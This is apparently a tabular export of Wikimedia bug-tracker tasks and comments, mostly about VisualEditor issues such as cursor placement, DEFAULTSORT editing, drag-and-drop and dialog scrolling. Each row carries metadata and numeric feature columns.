+mw.loader.implement(""user.options"",function(){mw.user.options.set({""ccmeonemails"":0,""cols"":80,""date"":""default"",""diffonly"":0,""disablemail"":0,""disablesuggest"":0,""editfont"":""default"",""editondblclick"":0,""editsection"":1,""editsectiononrightclick"":0,""enotifminoredits"":0,""enotifrevealaddr"":0,""enotifusertalkpages"":1,""enotifwatchlistpages"":0,""extendwatchlist"":0,""fancysig"":0,""forceeditsummary"":0,""gender"":""unknown"",""hideminor"":0,""hidepatrolled"":0,""imagesize"":2,""justify"":0,""math"":0,""minordefault"":0,""newpageshidepatrolled"":0,""nocache"":0,""noconvertlink"":0,""norollbackdiff"":0,""numberheadings"":0,""previewonfirst"":0,""previewontop"":1,""rcdays"":7,""rclimit"":50,""rememberpassword"":0,""rows"":25,""searchlimit"":20,""showhiddencats"":false,""showjumplinks"":1,""shownumberswatching"":1,""showtoc"":1,""showtoolbar"":1,""skin"":""vector"",""stubthreshold"":0,""thumbsize"":4,""underline"":2,""uselivepreview"":0,""usenewrc"":0,""watchcreations"":1,""watchdefault"":0,""watchdeletion"":0,""watchlistdays"":3,""watchlisthideanons"":0,""watchlisthidebots"":0,
+""watchlisthideliu"":0,""watchlisthideminor"":0,""watchlisthideown"":0,""watchlisthidepatrolled"":0,""watchmoves"":0,""wllimit"":250,""useeditwarning"":1,""flaggedrevssimpleui"":1,""flaggedrevsstable"":0,""flaggedrevseditdiffs"":true,""flaggedrevsviewdiffs"":false,""vector-simplesearch"":1,""vector-collapsiblenav"":1,""usebetatoolbar"":1,""usebetatoolbar-cgd"":1,""aftv5-last-filter"":null,""visualeditor-enable"":1,""wikilove-enabled"":1,""echo-subscriptions-web-page-review"":true,""echo-subscriptions-email-page-review"":false,""ep_showtoplink"":false,""ep_bulkdelorgs"":false,""ep_bulkdelcourses"":true,""ep_showdyk"":true,""echo-notify-show-link"":true,""echo-show-alert"":true,""echo-email-frequency"":0,""echo-subscriptions-email-system"":true,""echo-subscriptions-web-system"":true,""echo-subscriptions-email-other"":false,""echo-subscriptions-web-other"":true,""echo-subscriptions-email-edit-user-talk"":false,""echo-subscriptions-web-edit-user-talk"":true,""echo-subscriptions-email-reverted"":false,""echo-subscriptions-web-reverted"":true,
+""echo-subscriptions-email-article-linked"":false,""echo-subscriptions-web-article-linked"":false,""echo-subscriptions-email-mention"":false,""echo-subscriptions-web-mention"":true,""echo-subscriptions-web-edit-thank"":true,""echo-subscriptions-email-edit-thank"":false,""gettingstarted-task-toolbar-show-intro"":true,""variant"":""en"",""language"":""en"",""searchNs0"":true,""searchNs1"":false,""searchNs2"":false,""searchNs3"":false,""searchNs4"":false,""searchNs5"":false,""searchNs6"":false,""searchNs7"":false,""searchNs8"":false,""searchNs9"":false,""searchNs10"":false,""searchNs11"":false,""searchNs12"":false,""searchNs13"":false,""searchNs14"":false,""searchNs15"":false,""searchNs100"":false,""searchNs101"":false,""searchNs108"":false,""searchNs109"":false,""searchNs446"":false,""searchNs447"":false,""searchNs710"":false,""searchNs711"":false,""searchNs828"":false,""searchNs829"":false,""gadget-teahouse"":1,""gadget-ReferenceTooltips"":1,""gadget-DRN-wizard"":1,""gadget-charinsert"":1,""gadget-mySandbox"":1});},{},{});mw.loader.implement(""user.tokens"",function(){mw
+.user.tokens.set({""editToken"":""+\\"",""patrolToken"":false,""watchToken"":false});},{},{});
+
+which is sent out with every anonymous page view.",,,1372740996,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,1
+240984,Set $wgWellFormedXml = false by default,Related URL: https://gerrit.wikimedia.org/r/70036 (Gerrit Change I4155c74042d22527dc5c9460a4af8b7b1adb36cc),,,1371978337,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+52014,VisualEditor: cannot reposition typing cursor using the mouse in edit summary,"Self-explanatory, albeit poorly worded; if you type something out in the edit summary box, and then click on a point in that text to move your typing cursor....no luck. This is going to be a total pain for things as simple as tyop corrections.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1371896940,1372007051.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-fcxjzl7orc3z55j4k4z4,task_description,resolved,True,c1,2,False,False,True,-2,,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+239584,VisualEditor: cannot reposition typing cursor using the mouse in edit summary,Fixed and deployed; sorry for this.,,,1372007051,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fcxjzl7orc3z55j4k4z4,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+239576,VisualEditor: cannot reposition typing cursor using the mouse in edit summary,A fix to bug 49927 might also fix this.,,,1371899709,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-fcxjzl7orc3z55j4k4z4,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52002,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","From [[Wikipedia:VisualEditor/Feedback#Editing_Defaultsort]]:
+
+> The Page Settings box displays the article title as a default ""Defaultsort"". But it doesn't seem possible to edit it: typing any letters removes the whole existing text, while trying to delete a few characters has no effect. Where the sort key is not identical to the article title it's usually a variation of it - delete a leading ""The "", or move the given name from start to end. It's a waste to have to retype it all: we ought to be able to edit that box.
+> 
+> This is because the default defaultsort value (article title) is implemented as ""placeholder"" text. Instead, it should be normal editable text.
+> 
+> Upon closing the page settings dialog, the logic should be, ""if defaultsort != article title, add a {{DEFAULTSORT:}} magic word, else remove existing {{DEFAULTSORT:}} if present"".",Medium,50.0,1371864600,1540933484.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-457x6imtkd7rswr4kl6x,task_description,duplicate,True,c1,2,False,False,False,-2,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+238946,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","(In reply to pamdavies7 from comment #3)
+> Thanks for the explanation! So it remains a bug - and distinctly irritating,
+> for someone who adds a lot of DEFAULTSORTs to articles. 
+> 
+> That said, I suppose it doesn't actually create any more work for the editor
+> than adding the DEFAULTSORT in the old edit system: the value would always
+> have had to be typed in from scratch.
+
+But in the old system one could copy and paste the title from some part of the record, edit as needed (move ""The"" to end, replace an accented letter by plain), highlight, click on ""DEFAULTSORT"" from the editing menu below the edit box, and that was that. Having to retype is more work; having to retype when you can't see the original to copy from is sometimes impossible.",,,1408114605,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,False,,,58,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+238941,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder",*** Bug 69568 has been marked as a duplicate of this bug. ***,,,1408096620,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,True,,,58,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+238936,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","What if the article ""Abc"" has a DEFAULTSORT set to ""Alphabet"", but is then renamed to ""Alphabet"", making the DEFAULTSORT and article title the same. Then someone opens the category editor, upon save we see that DEFAULTSORT and the article title are the same and remove it. Now you have a dirty diff.
+
+So, we see that separating the default value of the actual value is... well, valuable.
+
+The UX issue is that we force the user to start from scratch when editing the field. The real cause of all this is that we are using the value of text input widget to not only detect a change, but also whether to set or not.
+
+We may consider doing something else, like having a tick to explicitly override the sorting key, and separately have a text input widget which, as requested, is populated with the default or current value.
+
+There are a few things I'm not happy with here, however.
+
+* What happens when DEFAULTSORT is set to empty string?
+* It feels like we are adding too much complexity
+* If the user unticks override, does the text input widget's value get set to the deafult value, or just get grayed out (either has it's downfalls)",,,1394228553,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,False,,,35,,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+238931,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","Thanks for the explanation! So it remains a bug - and distinctly irritating, for someone who adds a lot of DEFAULTSORTs to articles. 
+
+That said, I suppose it doesn't actually create any more work for the editor than adding the DEFAULTSORT in the old edit system: the value would always have had to be typed in from scratch.",,,1372888485,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,False,,,0,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+238927,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","(In reply to comment #1)
+> This seemed yesterday to be fixed (I managed to edit the DEFAULTSORT of [[The
+> New Elizabethans]] by removing ""The "" and retyping it at the end), but today
+> - both this morning and just now - the problem is still/again there: to edit
+> the DEFAULTSORT of [[Alexander Gilkes]] I had to retype it all.
+
+We've not touched this code in the past two weeks; what you saw was the effect of someone setting the DEFAULTSORT actively to ""The New Elizabethans"" - see the diff on your edit: https://en.wikipedia.org/w/index.php?title=The_New_Elizabethans&diff=562509771&oldid=562443570",,,1372882958,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,True,,,0,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+238924,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","This seemed yesterday to be fixed (I managed to edit the DEFAULTSORT of [[The New Elizabethans]] by removing ""The "" and retyping it at the end), but today - both this morning and just now - the problem is still/again there: to edit the DEFAULTSORT of [[Alexander Gilkes]] I had to retype it all. ~~~~",,,1372881473,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+51981,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it","More general bug, following on from bug 41150 - this is for text selections, for other generated content blocks, ? others.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50643",Medium,50.0,1371851820,1403055832.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-busqmj37jbvye6nty5bt,task_description,resolved,True,c1,2,True,False,False,-2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0
+237746,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it","Change 140103 merged by jenkins-bot:
+Drag and drop of arbitrary selections
+
+https://gerrit.wikimedia.org/r/140103",,,1403052458,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237742,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it","Change 140103 had a related patch set uploaded by Esanders:
+Drag and drop of arbitrary selections
+
+https://gerrit.wikimedia.org/r/140103",,,1403008691,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237737,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",*** Bug 49486 has been marked as a duplicate of this bug. ***,,,1380609083,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+237732,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",fwiw I believe this bug has been mentioned at https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#VisualEditor_weekly_update_-_2013-09-26_.28MW_1.22wmf19.29 - being the doubt whether reflists can be now dragged or not.,,,1380324429,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+237726,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it","As an update, if you select a reference or non-floated template you can now move these too; however, floated templates and text can't be moved with drag-and-drop yet.",,,1380151994,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+237719,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",*** Bug 52364 has been marked as a duplicate of this bug. ***,,,1375319436,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+237711,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",*** Bug 50359 has been marked as a duplicate of this bug. ***,,,1373663953,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+237703,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",Adding a link to https://bugzilla.wikimedia.org/show_bug.cgi?id=50359 which is related.,,,1373663569,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+237696,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",*** Bug 50183 has been marked as a duplicate of this bug. ***,,,1372183302,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+51977,VisualEditor: Closing a dialog scrolls you up to the top of the document,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1371844500,1372264572.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-sl5n5bwvzliz5t3rwkrs,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+237537,VisualEditor: Closing a dialog scrolls you up to the top of the document,Fixed and being deployed right now.,,,1372264572,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sl5n5bwvzliz5t3rwkrs,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+237530,VisualEditor: Closing a dialog scrolls you up to the top of the document,Related URL: https://gerrit.wikimedia.org/r/70614 (Gerrit Change I8cc12ba7845eebc6199fbcd2d355bf0d5f38264b),,,1372248326,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-sl5n5bwvzliz5t3rwkrs,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+237525,VisualEditor: Closing a dialog scrolls you up to the top of the document,"Ignore that, the selection is still working after Roan rolled back newFromDocumentInsertion, but scroll is still a problem.",,,1372246033,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-sl5n5bwvzliz5t3rwkrs,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0
+237518,VisualEditor: Closing a dialog scrolls you up to the top of the document,This is a regression because I fixed dialog close re-focusing.,,,1372245042,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-sl5n5bwvzliz5t3rwkrs,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+51968,VisualEditor: VE not detecting colour/boxing around multiple issues template,"See https://en.wikipedia.org/wiki/Virivilai for example - bug with the VE or bug with the template?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1371833340,1373160219.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-pcf2yvjdcefbppv4nmdv,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0
+236877,VisualEditor: VE not detecting colour/boxing around multiple issues template,"We've fixed this, somehow, since it was filed; sorry for not being able to be more precise as to whether the fix was in Parsoid or VisualEditor (it definitely wasn't the template, as that's not been changed in > a month).",,,1373160219,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pcf2yvjdcefbppv4nmdv,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1
+51964,VisualEditor: Saving or closing the editing pane does not restore the default view of the article,"The VisualEditor isn't perfectly rendering markup yet (which is understandable), and even when it does it'll look slightly different from read mode in a lot of ways. The problem is that cancelling the VE editing interface, or saving, loads a VE-rendered article view rather than what the article actually looks like.
+
+(sorry if this sounds nonsensical; it's difficult to explain at this end).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1371829500,1399325038.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-4tagph3in7nb7kiwdldq,task_description,resolved,True,c1,2,False,False,False,-2,,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+236532,VisualEditor: Saving or closing the editing pane does not restore the default view of the article,I believe all of the changes for this has been merged and fixed some months ago; please correct if there are still issues.,,,1399325038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4tagph3in7nb7kiwdldq,task_subcomment,,True,c1,3,True,,,44,,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+236527,VisualEditor: Saving or closing the editing pane does not restore the default view of the article,"The example given at the enwiki feedback page was [[scaphoid fracture]]. Observe the spacing of infobox content, then enter and leave VE mode and notice the alteration.",,,1371862821,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-4tagph3in7nb7kiwdldq,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+51954,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})","If I try to edit a number in a {{formatnum:…}}, the VisualEditor displays the template’s edition window, saying it is (for example) the 'formatnum:959719' template, without any parameter. So if I want to change the number, I need to remove the 'template' and then to add a new one, for example 'formatnum:958719'.
+
+The editor should allow changing the number without having to remove the 'template'.
+",Medium,50.0,1371816900,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-ynxqancujipoqcvx5723,task_description,open,True,c1,2,False,False,,-2,,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
